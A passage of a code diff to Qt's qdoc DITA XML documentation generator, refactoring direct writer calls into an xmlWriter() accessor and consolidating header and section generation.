    (see case Atom::SectionHeadingLeft) inSectionHeading = false; break; case Atom::SidebarLeft: @@ -1250,17 +1251,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateLink(atom, relative, marker); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } break; case Atom::TableLeft: { if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","generic"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","generic"); numTableRows = 0; if (tableColumnCount != 0) { qDebug() << "ERROR: Nested tables!"; @@ -1274,62 +1275,62 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, ++tableColumnCount; t = t->next(); } - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols",QString::number(tableColumnCount)); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); } break; case Atom::TableRight: - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // tableColumnCount = 0; break; case Atom::TableHeaderLeft: - writer.writeStartElement("thead"); - writer.writeStartElement("row"); - writer.writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeStartElement("thead"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("outputclass","qt-style topAlign"); inTableHeader = true; inTableBody = false; break; case Atom::TableHeaderRight: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; - writer.writeStartElement("row"); - writer.writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("outputclass","qt-style topAlign"); } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // inTableHeader = false; inTableBody = true; - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("tbody"); } break; case Atom::TableRowLeft: if (!inTableHeader && !inTableBody) { inTableBody = true; - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("tbody"); } - writer.writeStartElement("row"); + xmlWriter().writeStartElement("row"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd topAlign"); else - writer.writeAttribute("outputclass","even topAlign"); + xmlWriter().writeAttribute("outputclass","even topAlign"); break; case Atom::TableRowRight: - writer.writeEndElement(); // \n"; + xmlWriter().writeEndElement(); // \n"; break; case Atom::TableItemLeft: { if (inTableHeader) - writer.writeStartElement("entry"); + xmlWriter().writeStartElement("entry"); else - writer.writeStartElement("entry"); + xmlWriter().writeStartElement("entry"); QStringList spans = atom->string().split(","); if (spans.size() == 2) { if (!inTableHeader) - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1337,10 +1338,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::TableItemRight: if (inTableHeader) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // else { - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1375,23 +1376,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::Target: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(atom->string())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); //

    break; case Atom::UnhandledFormat: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont"); - writer.writeCharacters("<Missing DITAXML>"); - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","redFont"); + xmlWriter().writeCharacters("<Missing DITAXML>"); + xmlWriter().writeEndElement(); // break; case Atom::UnknownCommand: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont code"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","redFont code"); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // break; case Atom::QmlText: case Atom::EndQmlText: @@ -1433,51 +1434,44 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark fullTitle = marker->plainFullName(inner); title = rawTitle + " Class Reference"; - generateHeader(inner); - - writer.writeStartElement(CXXCLASS); - writer.writeAttribute("id",cn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // - + generateHeader(inner, fullTitle); generateBrief(inner, marker); // // not included: - writer.writeStartElement(CXXCLASSDETAIL); - writer.writeStartElement(CXXCLASSDEFINITION); - writer.writeStartElement(CXXCLASSACCESSSPECIFIER); - writer.writeAttribute("value",inner->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + xmlWriter().writeStartElement(CXXCLASSACCESSSPECIFIER); + xmlWriter().writeAttribute("value",inner->accessString()); + xmlWriter().writeEndElement(); // if (cn->isAbstract()) { - writer.writeStartElement(CXXCLASSABSTRACT); - writer.writeAttribute("name","abstract"); - writer.writeAttribute("value","abstract"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSABSTRACT); + xmlWriter().writeAttribute("name","abstract"); + xmlWriter().writeAttribute("value","abstract"); + xmlWriter().writeEndElement(); // } writeDerivations(cn, marker); // // not included: writeLocation(cn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!inner->doc().isEmpty()) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","h2"); - writer.writeCharacters("Detailed Description"); - writer.writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Detailed Description"); + xmlWriter().writeEndElement(); //

    generateBody(inner, marker); // generateAlsoList(inner, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: // not included: @@ -1506,7 +1500,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -1518,15 +1512,15 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, const QString& header, const QString& attribute) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(registerRef(target)); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(header); - writer.writeEndElement(); //

    - writer.writeStartElement("p"); - writer.writeAttribute("outputclass",attribute); - writer.writeCharacters(header); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(header); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeCharacters(header); + xmlWriter().writeEndElement(); //

    } /*! @@ -1534,12 +1528,15 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) { - writer.writeStartElement("li"); - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeCharacters(text); - writer.writeEndElement(); // - writer.writeEndElement(); // + qDebug() << "WXLI 1" << link; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + qDebug() << "WXLI 2"; + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + qDebug() << "WXLI 3"; } /*! @@ -1554,12 +1551,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker QString fullTitle = fake->fullTitle(); QString htmlTitle = fullTitle; - /* - NOTE: For now we only handle \page elements. - */ - //if (fake->subType() != Node::Page) - //return; - if (fake->subType() == Node::File && !fake->subTitle().isEmpty()) { subTitleSize = SmallSubTitle; htmlTitle += " (" + fake->subTitle() + ")"; @@ -1569,47 +1560,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker htmlTitle = fullTitle; } - QString outputclass; - switch (fake->subType()) { - case Node::Page: - outputclass = "page"; - break; - case Node::Group: - outputclass = "group"; - break; - case Node::Example: - outputclass = "example"; - break; - case Node::HeaderFile: - outputclass = "header"; - break; - case Node::File: - outputclass = "file"; - break; - case Node::Image: - outputclass = "image"; - break; - case Node::Module: - outputclass = "module"; - break; - case Node::ExternalPage: - outputclass = "externalpage"; - break; - case Node::QmlClass: - outputclass = "QML"; - break; - default: - return; - } - - generateHeader(fake); - - writer.writeStartElement("topic"); - writer.writeAttribute("id",fake->guid()); - writer.writeAttribute("outputclass",outputclass); - writer.writeStartElement("title"); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // + generateHeader(fake, fullTitle); generateBrief(fake, marker); // if (fake->subType() == Node::Module) { @@ -1625,7 +1576,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); QString membersLink = generateListOfAllMemberFile(fake, marker); if (!membersLink.isEmpty()) { @@ -1646,11 +1597,11 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker writeXrefListItem(compatLink,"Qt 3 support members"); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } if (!fake->doc().isEmpty()) { - writer.writeStartElement("body"); + xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeTargetAndHeader("details","Detailed Description","h2"); } @@ -1666,9 +1617,9 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateAnnotatedList(fake, marker, groupMembersMap); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } #if 0 @@ -1732,7 +1683,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker while (s != sections.end()) { out() << "\n"; out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSectionList(*s, fake, marker, CodeMarker::Summary); + generateSection(s->members, fake, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, relative, marker, name_alignment); ++s; } @@ -1862,52 +1814,77 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, \note This does not cover all cases yet. */ -void DitaXmlGenerator::generateHeader(const Node* node) +void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) { - writer.setDevice(out().device()); - writer.setAutoFormatting(true); - writer.setAutoFormattingIndent(4); - writer.writeStartDocument(); - if (!node) return; QString doctype; - QString element; + QString mainElement; + QString nameElement; QString dtd; QString base; QString version; + QString outputclass; + if (node->type() == Node::Class) { - element = "cxxClass"; + mainElement = "cxxClass"; + nameElement = "apiName"; dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; - doctype = ""; } else if (node->type() == Node::Fake) { + mainElement = "topic"; + nameElement = "title"; + dtd = "dtd/topic.dtd"; + doctype = ""; switch (node->subType()) { case Node::Page: + outputclass = "page"; + break; case Node::Group: + outputclass = "group"; + break; case Node::Example: + outputclass = "example"; + break; case Node::HeaderFile: + outputclass = "header"; + break; case Node::File: + outputclass = "file"; + break; case Node::Image: + outputclass = "image"; + break; case Node::Module: + outputclass = "module"; + break; case Node::ExternalPage: + outputclass = "externalpage"; + break; case Node::QmlClass: - element = "topic"; - dtd = "dtd/topic.dtd"; - doctype = ""; + outputclass = "QML"; break; default: - break; + outputclass = "page"; } } - writer.writeDTD(doctype); - writer.writeComment(node->doc().location().fileName()); + xmlWriter().writeDTD(doctype); + xmlWriter().writeComment(node->doc().location().fileName()); + + xmlWriter().writeStartElement(mainElement); + xmlWriter().writeAttribute("id",node->guid()); + if (!outputclass.isEmpty()) + xmlWriter().writeAttribute("outputclass",outputclass); + xmlWriter().writeStartElement(nameElement); + xmlWriter().writeCharacters(name); + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateTitle(const QString& title, @@ -1916,16 +1893,22 @@ void DitaXmlGenerator::generateTitle(const QString& title, const Node *relative, CodeMarker *marker) { - if (!title.isEmpty()) - out() << "

    " << protectEnc(title) << "

    \n"; + if (!title.isEmpty()) { + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass", "h1 title"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); //

    + } if (!subTitle.isEmpty()) { - out() << ""; - else - out() << " class=\"subtitle\">"; + xmlWriter().writeStartElement("p"); + if (subTitleSize == SmallSubTitle) { + xmlWriter().writeAttribute("outputclass", "small-subtitle"); + } + else { + xmlWriter().writeAttribute("outputclass", "subtitle"); + } generateText(subTitle, relative, marker); - out() << "\n"; + xmlWriter().writeEndElement(); //

    } } @@ -1937,9 +1920,9 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) Text brief = node->doc().briefText(); if (!brief.isEmpty()) { ++noLinks; - writer.writeStartElement(SHORTDESC); + xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - writer.writeEndElement(); // shortdesc + xmlWriter().writeEndElement(); // shortdesc --noLinks; } } @@ -1947,10 +1930,10 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - writer.writeStartElement("pree"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pree"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -2154,8 +2137,8 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, - CodeMarker *marker) +QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, + CodeMarker* marker) { QList
    sections; QList
    ::ConstIterator s; @@ -2169,26 +2152,25 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, QString fileName = fileBase(inner) + "-members." + fileExtension(inner); beginSubPage(inner->location(), fileName); QString title = "List of All Members for " + inner->name(); - generateHeader(inner); + generateHeader(inner, title); + xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); out() << "

    This is the complete list of members for "; generateFullName(inner, 0, marker); out() << ", including inherited members.

    \n"; Section section = sections.first(); - generateSectionList(section, 0, marker, CodeMarker::SeparateList); - + generateSection(section.members, 0, marker, CodeMarker::SeparateList); + xmlWriter().writeEndElement(); // endSubPage(); return fileName; } QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, - CodeMarker* marker, - CodeMarker::Status status) + CodeMarker* marker, + CodeMarker::Status status) { - QList
    sections = marker->sections(inner, - CodeMarker::Summary, - status); + QList
    sections = marker->sections(inner,CodeMarker::Summary,status); QMutableListIterator
    j(sections); while (j.hasNext()) { if (j.next().members.size() == 0) @@ -2211,44 +2193,61 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, } beginSubPage(inner->location(), fileName); - generateHeader(inner); + generateHeader(inner, title); + xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); if (status == CodeMarker::Compat) { - out() << "

    The following class members are part of the " - "Qt 3 support layer. " - "They are provided to help you port old code to Qt 4. We advise against " - "using them in new code.

    \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("

    The following class members are part of the " + "Qt 3 support layer." + " They are provided to help you port old code to Qt 4. " + "We advise against using them in new code."); + xmlWriter().writeEndElement(); //

    } else { - out() << "

    The following class members are obsolete. " - << "They are provided to keep old source code working. " - << "We strongly advise against using them in new code.

    \n"; - } - - out() << "

    • " - << protectEnc(inner->name()) - << " class reference

    \n"; - + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("The following class members are obsolete. " + "They are provided to keep old source code working. " + "We strongly advise against using them in new code."); + xmlWriter().writeEndElement(); //

    + } + xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("ul"); + QString text = protectEnc(inner->name()) + " class reference"; + writeXrefListItem(linkForNode(inner,0),text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    + for (i = 0; i < sections.size(); ++i) { - out() << "

    " << protectEnc(sections.at(i).name) << "

    \n"; - generateSectionList(sections.at(i), inner, marker, CodeMarker::Summary); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); + xmlWriter().writeEndElement(); //

    + generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(sections.at(i), inner, marker); } sections = marker->sections(inner, CodeMarker::Detailed, status); for (i = 0; i < sections.size(); ++i) { - out() << "
    \n"; - out() << "

    " << protectEnc(sections.at(i).name) << "

    \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","separator"); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); + xmlWriter().writeEndElement(); //

    NodeList::ConstIterator m = sections.at(i).members.begin(); while (m != sections.at(i).members.end()) { - if ((*m)->access() != Node::Private) + if ((*m)->access() != Node::Private) { generateDetailedMember(*m, inner, marker); + } ++m; } } - + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // endSubPage(); return fileName; } @@ -2303,11 +2302,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","annotated"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","2"); - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","annotated"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","2"); + xmlWriter().writeStartElement("tbody"); int row = 0; foreach (const QString& name, nodeMap.keys()) { @@ -2316,39 +2315,39 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, if (node->status() == Node::Obsolete) continue; - writer.writeStartElement("row"); + xmlWriter().writeStartElement("row"); if (++row % 2 == 1) - writer.writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd topAlign"); else - writer.writeAttribute("outputclass","even topAlign"); - writer.writeStartElement("entry"); - writer.writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","even topAlign"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateFullName(node, relative, marker); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // if (!(node->type() == Node::Fake)) { Text brief = node->doc().trimmedBriefText(name); if (!brief.isEmpty()) { - writer.writeStartElement("entry"); - writer.writeStartElement("p"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateText(brief, node, marker); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } } else { - writer.writeStartElement("entry"); - writer.writeStartElement("p"); - writer.writeCharacters(protectEnc(node->doc().briefText().toString())); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } /*! @@ -2484,27 +2483,27 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Output the alphabet as a row of links. */ if (includeAlphabet) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign functionIndex"); - writer.writeStartElement("b"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); if (usedParagraphNames.contains(char('a' + i))) { - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#%1").arg(ch)); - writer.writeCharacters(QString(ch.toUpper())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // } } - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } /* Output a

    element to contain all the

    elements. */ - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","compactlist flowListDiv"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","compactlist flowListDiv"); for (int i=0; i 0) { - writer.writeEndElement(); // - writer.writeEndElement(); //
    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeStartElement("dl"); + xmlWriter().writeStartElement("dl"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","flowList odd"); + xmlWriter().writeAttribute("outputclass","flowList odd"); else - writer.writeAttribute("outputclass","flowList even"); - writer.writeStartElement("dlentry"); - writer.writeStartElement("dt"); - writer.writeAttribute("outputclass","alphaChar"); + xmlWriter().writeAttribute("outputclass","flowList even"); + xmlWriter().writeStartElement("dlentry"); + xmlWriter().writeStartElement("dt"); + xmlWriter().writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - writer.writeStartElement("a"); - writer.writeAttribute("name",c); + xmlWriter().writeStartElement("a"); + xmlWriter().writeAttribute("name",c); } - writer.writeStartElement("b"); - writer.writeCharacters(paragraphName[curParNr]); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters(paragraphName[curParNr]); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } /* Output a
    for the current offset in the current paragraph. */ - writer.writeStartElement("dd"); + xmlWriter().writeStartElement("dd"); if ((curParNr < NumParagraphs) && !paragraphName[curParNr].isEmpty()) { NodeMap::Iterator it; @@ -2555,74 +2554,74 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Previously, we used generateFullName() for this, but we require some special formatting. */ - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(it.value(), relative)); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(it.value(), relative)); QStringList pieces; if (it.value()->subType() == Node::QmlClass) pieces << it.value()->name(); else pieces = fullName(it.value(), relative, marker).split("::"); - writer.writeCharacters(protectEnc(pieces.last())); - writer.writeEndElement(); // + xmlWriter().writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // if (pieces.size() > 1) { - writer.writeCharacters(" ("); + xmlWriter().writeCharacters(" ("); generateFullName(it.value()->parent(),relative,marker); - writer.writeCharacters(")"); + xmlWriter().writeCharacters(")"); } } - writer.writeEndElement(); //
    + xmlWriter().writeEndElement(); // curParOffset++; } - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign functionIndex"); - writer.writeStartElement("b"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#%1").arg(ch)); - writer.writeCharacters(QString(ch.toUpper())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    char nextLetter = 'a'; char currentLetter; - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); QMap::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { - writer.writeStartElement("li"); + xmlWriter().writeStartElement("li"); currentLetter = f.key()[0].unicode(); while (islower(currentLetter) && currentLetter >= nextLetter) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(QString(nextLetter)); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(QString(nextLetter)); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(QString(nextLetter)); + xmlWriter().writeEndElement(); //

    nextLetter++; } - writer.writeCharacters(protectEnc(f.key())); - writer.writeCharacters(":"); + xmlWriter().writeCharacters(protectEnc(f.key())); + xmlWriter().writeCharacters(":"); NodeMap::ConstIterator s = (*f).begin(); while (s != (*f).end()) { generateFullName((*s)->parent(), relative, marker, *s); ++s; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++f; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -2807,24 +2806,24 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, name_alignment = false; } if (name_alignment) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","alignedsummary"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","2"); - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","alignedsummary"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","2"); + xmlWriter().writeStartElement("tbody"); } else { if (twoColumn) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","propsummary"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","1"); - writer.writeStartElement("tbody"); - writer.writeStartElement("row"); - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","propsummary"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","1"); + xmlWriter().writeStartElement("tbody"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","topAlign"); } - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); } int i = 0; @@ -2836,144 +2835,78 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } if (name_alignment) { - writer.writeStartElement("row"); - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","memItemLeft rightAlign topAlign"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","memItemLeft rightAlign topAlign"); } else { if (twoColumn && i == (int) (nl.count() + 1) / 2) { - writer.writeEndElement(); // - writer.writeEndElement(); //
    - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","topAlign"); - writer.writeStartElement("ul"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("ul"); } - writer.writeStartElement("li"); - writer.writeAttribute("outputclass","fn"); + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass","fn"); } QString marked = getMarkedUpSynopsis(*m, relative, marker, style); writeText(marked, marker, relative, name_alignment); if (name_alignment) { - writer.writeEndElement(); //
    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } i++; ++m; } if (name_alignment) { - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // if (twoColumn) { - writer.writeEndElement(); //
    - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } } } -void DitaXmlGenerator::generateSectionList(const Section& section, - const Node* relative, - CodeMarker* marker, - CodeMarker::SynopsisStyle style) -{ - bool name_alignment = true; - if (!section.members.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (section.members.count() >= 16); - } - else if (section.members.first()->type() == Node::Property) { - twoColumn = (section.members.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - out() << "\n"; - } - else { - if (twoColumn) - out() << "
